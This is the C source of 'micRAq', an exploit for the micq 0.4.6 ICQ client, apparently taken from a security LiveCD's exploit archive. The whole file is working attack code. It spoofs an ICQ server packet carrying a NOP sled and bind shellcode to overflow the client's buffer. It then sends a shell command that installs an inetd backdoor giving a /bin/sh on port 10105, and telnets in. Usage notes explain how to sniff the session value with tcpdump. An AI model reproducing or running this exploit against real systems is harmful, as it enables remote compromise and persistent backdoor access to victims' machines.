home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / im / icq / micq-exp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  9KB  |  285 lines

  1. /*
  2.                 [ micRAq ] - by tHE rECIdjVO <recidjvo@pkcrew.org>
  3.                         Packet Knights - http://www.pkcrew.org/
  4.  
  5.    - version affected: micq-0.4.6 - maybe others (http://freshmeat.net/)
  6.    - coded for: ix86/Linux-2.2.16
  7.    - gcc version: egcs-2.91.66
  8.  
  9.    usage: ./micRAq <client_ip> <client_port> <server_ip> <hex_session> [address]
  10.  
  11.    Please read PkC Advisory #003 first.
  12.    Catch parameters with tcpdump-3.6.1 (http://www.tcpdump.org/)
  13.    Last 4 shown bytes are <hex_session>
  14.    # tcpdump -i <interface> -s 49 -tnx udp src port 4000
  15.  
  16.    Dedicated to: Francesca (I'll never forget you :*)
  17.    Tnx: |CyRaX|, asynchro, vecna, Nail, [ndk], MatOfPeng
  18.  
  19.                                                                         */
  20.  
  21. #define DEFAULT_BUFFER_ADDRESS 0xbfffeea0
  22. #define OFFSET 991
  23. #define ICQ_SERVER_PORT 4000
  24. #define BACK_PORT "10105"
  25. #define NOP '\x90'
  26. #define COMMAND "echo -e \"" BACK_PORT " stream tcp nowait `whoami` /bin/sh sh -i\">/tmp/.micRAqbd;/usr/sbin/inetd /tmp/.micRAqbd;sleep 1;rm /tmp/.micRAqbd;exit;"
  27.  
  28. #include <stdio.h>
  29. #include <stdlib.h>
  30. #include <sys/types.h>
  31. #include <sys/socket.h>
  32. #include <netinet/in.h>
  33. #include <netinet/ip.h>
  34. #include <netinet/udp.h>
  35.  
  36. int main(int argc, char *argv[]);
  37. unsigned short in_cksum (u_short *addr, int len); // Ripped. Who didn't it? ;)
  38. void build_buffer(char *buffer, unsigned long *buff_addr);
  39. int go(char *ip);
  40.  
  41. // bind shellcode by [multiple]
  42. char shellcode[]=
  43.         "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  44.         "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  45.         "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
  46.         "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  47.         "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  48.         "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  49.         "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  50.         "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
  51.  
  52. typedef struct
  53. {
  54.         unsigned char uin[4];
  55.         unsigned char year[2];
  56.         unsigned char month;
  57.         unsigned char day;
  58.         unsigned char hour;
  59.         unsigned char minute;
  60.         unsigned char type[2];
  61.         unsigned char len[2];
  62. } RECV_MESSAGE, *RECV_MESSAGE_PTR;
  63.  
  64. struct SRV_ICQ_pak
  65. {
  66.         unsigned char ver[2];
  67.         unsigned char zero;
  68.         unsigned char session[4];
  69.         unsigned char cmd[2];
  70.         unsigned char seq[2];
  71.         unsigned char seq2[2];
  72.         unsigned char UIN[4];
  73.         unsigned char check[4];
  74. };
  75.  
  76. struct srv_net_icq_pak
  77. {
  78.         struct SRV_ICQ_pak head;
  79.         unsigned char data[1024];
  80. };
  81.  
  82. unsigned short in_cksum (u_short *addr, int len)
  83. {
  84.         register int nleft = len;
  85.         register u_short *w = addr;
  86.         register int sum = 0;
  87.         u_short answer = 0;
  88.  
  89.         while (nleft > 1) {
  90.                 sum += *w++;
  91.                 nleft -= 2;
  92.         }
  93.         if (nleft == 1) {
  94.                 *(u_char *)(&answer) = *(u_char *)w;
  95.                 sum += answer;
  96.         }
  97.  
  98.         sum = (sum >> 16) + (sum & 0xffff);
  99.         sum += (sum >> 16);
  100.         answer = ~sum;
  101.         return(answer);
  102. }
  103.  
  104. void build_buffer(char *buffer, unsigned long *buff_addr)
  105. {
  106.         // Fill the data headers
  107.         memset(buffer, '\b', 1024);
  108.         memset(buffer, '\0', 7);
  109.         buffer[4] = '\x04';
  110.         buffer[8] = '\xFE';
  111.  
  112.         // Fill the buffer
  113.         memset(buffer + 9, NOP, strtoul(buffer, NULL, 10) + OFFSET - strlen(shellcode) - 9);
  114.         memcpy(buffer + OFFSET - strlen(shellcode), shellcode, strlen(shellcode));
  115.         memcpy(buffer + OFFSET, buff_addr, 4);
  116.         buffer[1023] = '\0';
  117.         return;
  118. }       
  119.  
  120. int go(char *ip)
  121. {
  122.         int sock, conn;
  123.         struct sockaddr_in saddr;
  124.  
  125.         // Create socket
  126.         if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
  127.                 perror("socket()");
  128.                 return(-1);
  129.         }
  130.  
  131.         saddr.sin_family = AF_INET;
  132.         saddr.sin_addr.s_addr = inet_addr(ip);
  133.         saddr.sin_port = htons(3879);
  134.  
  135.         // Connect to 3879 and issue COMMAND
  136.         if((conn = connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))) < 0) {
  137.                 perror("connect()");
  138.                 return(-1);
  139.         }
  140.  
  141.         send(sock, COMMAND, sizeof(COMMAND), 0);
  142.  
  143.         // All done here
  144.         close(sock);
  145.         return(0);
  146. }
  147.  
  148. int main(int argc, char *argv[])
  149. {
  150.         int sock, i, hincl = 1;
  151.         unsigned long buff_addr = DEFAULT_BUFFER_ADDRESS;
  152.         struct sockaddr_in saddr;
  153.         struct ip *pip;
  154.         struct udphdr *pudp;
  155.         char *packet, conv[3];
  156.         struct srv_net_icq_pak *pak;
  157.         RECV_MESSAGE_PTR r_data;
  158.  
  159.         printf("\n\t[ [ micRAq ] - by tHE rECIdjVO <recidjvo@pkcrew.org> ]\n\t\tPacket Knights - http://www.pkcrew.org/\n\n");
  160.  
  161.         if((argc != 5) && (argc != 6)) {
  162.                 printf("usage: %s <client_ip> <client_port> <server_ip> <hex_session> [buffer]\n\n", argv[0]);
  163.                 exit(-1);
  164.         }
  165.  
  166.         if(strlen(argv[4]) != 8) {
  167.                 printf("Error: <session> must be 8 digits exadecimal number.\n\n");
  168.                 exit(-1);
  169.         }
  170.  
  171.         if(argc == 6) {
  172.                 buff_addr = strtoul(argv[5], NULL, 16);
  173.         }
  174.         printf("Using buffer address: 0x%x\n\n", buff_addr);
  175.  
  176.         // Create the RAW socket
  177.         if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  178.                 perror("socket()");
  179.                 exit(-1);
  180.         }
  181.  
  182.         if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl)) < 0) {
  183.                 perror("setsockopt()");
  184.                 close(sock);
  185.                 exit(-1);
  186.         }
  187.  
  188.         // Set pointers
  189.         packet = malloc(sizeof(struct ip) + sizeof(struct udphdr) + 1024);
  190.         pip = (struct ip *)packet;
  191.         pudp = (struct udphdr *)(packet + sizeof(struct ip));
  192.         pak = (struct srv_net_icq_pak *)(packet + sizeof(struct ip) + sizeof(struct udphdr));
  193.  
  194.         // Clear packet
  195.         memset(packet, 0, sizeof(struct ip) + sizeof(struct udphdr) + 1024);
  196.  
  197.         // Fill the packet headers
  198.         saddr.sin_family = AF_INET;
  199.         saddr.sin_addr.s_addr = inet_addr(argv[1]);
  200.         pip->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + 1024);
  201.         pip->ip_hl = 5;
  202.         pip->ip_v = 4;
  203.         pip->ip_ttl = 255;
  204.         pip->ip_tos = 0;
  205.         pip->ip_off = 0;
  206.         pip->ip_id = htons(getpid());
  207.         pip->ip_p = IPPROTO_UDP;
  208.         pip->ip_src.s_addr = inet_addr(argv[3]);
  209.         pip->ip_dst.s_addr = inet_addr(argv[1]);
  210.         pip->ip_sum = in_cksum((u_short*)pip, sizeof(struct ip));
  211.         pudp->source = htons(ICQ_SERVER_PORT);
  212.         pudp->dest = htons(atoi(argv[2]));
  213.         pudp->len = htons(sizeof(struct udphdr) + 1024);
  214.         pudp->check = 0;
  215.  
  216.         // Fill the message headers
  217.         pak->head.ver[0] = 5;
  218.         pak->head.ver[1] = 0;
  219.         pak->head.zero = 0;
  220.  
  221.         for(i = 0; i < 8; i += 2) {
  222.                 conv[0] = argv[4][i];
  223.                 conv[1] = argv[4][i + 1];
  224.                 conv[2] = '\0';
  225.  
  226.                 pak->head.session[i / 2] = strtol(conv, NULL, 16);
  227.         }
  228.  
  229.         pak->head.cmd[0] = 4;
  230.         pak->head.cmd[1] = 1;
  231.         pak->head.seq[0] = 0;
  232.         pak->head.seq[1] = 0;
  233.         pak->head.seq2[0] = 0;
  234.         pak->head.seq2[1] = 0;
  235.         pak->head.UIN[0] = 0;
  236.         pak->head.UIN[1] = 0;
  237.         pak->head.UIN[2] = 0;
  238.         pak->head.UIN[3] = 0;
  239.         pak->head.check[0] = 0;
  240.         pak->head.check[1] = 0;
  241.         pak->head.check[2] = 0;
  242.         pak->head.check[3] = 0;
  243.  
  244.         // Fill the buffer
  245.         build_buffer(pak->data, &buff_addr);
  246.  
  247.         // Send the packet
  248.         if(sendto(sock, packet, sizeof(struct ip) + sizeof(struct udphdr) + 1024, 0, (struct sockaddr *)&saddr, sizeof(struct sockaddr_in)) < 0) {
  249.                 perror("sendto()");
  250.                 close(sock);
  251.                 exit(-1);
  252.         }
  253.  
  254.         // Clear the socket
  255.         close(sock);
  256.  
  257.         // Send command to execute inetd backdoor
  258.         sleep(1);
  259.  
  260.         // First connect
  261.         if(go(argv[1]) < 0) {
  262.                 printf("Unable to connect :\\\n");
  263.                 exit(-1);
  264.         }
  265.  
  266.         // Wait a bit to let the command to be issued
  267.         sleep(1);
  268.         printf("\t\"To be");
  269.         fflush(stdout);
  270.         sleep(2);
  271.         printf(", or not to be.\n");
  272.         sleep(1);
  273.         printf("\t This is the question.\"\n");
  274.         sleep(1);
  275.         printf("\t\t\t(William Shakespeare)\n\n");
  276.  
  277.         // Connect to remote host
  278.         execl("/usr/bin/telnet", "telnet", argv[1], BACK_PORT, NULL);
  279.  
  280.         // Never been here
  281.         exit(-1);
  282. }
  283.  
  284. /*                          micRAq.c - EOF                              */
  285.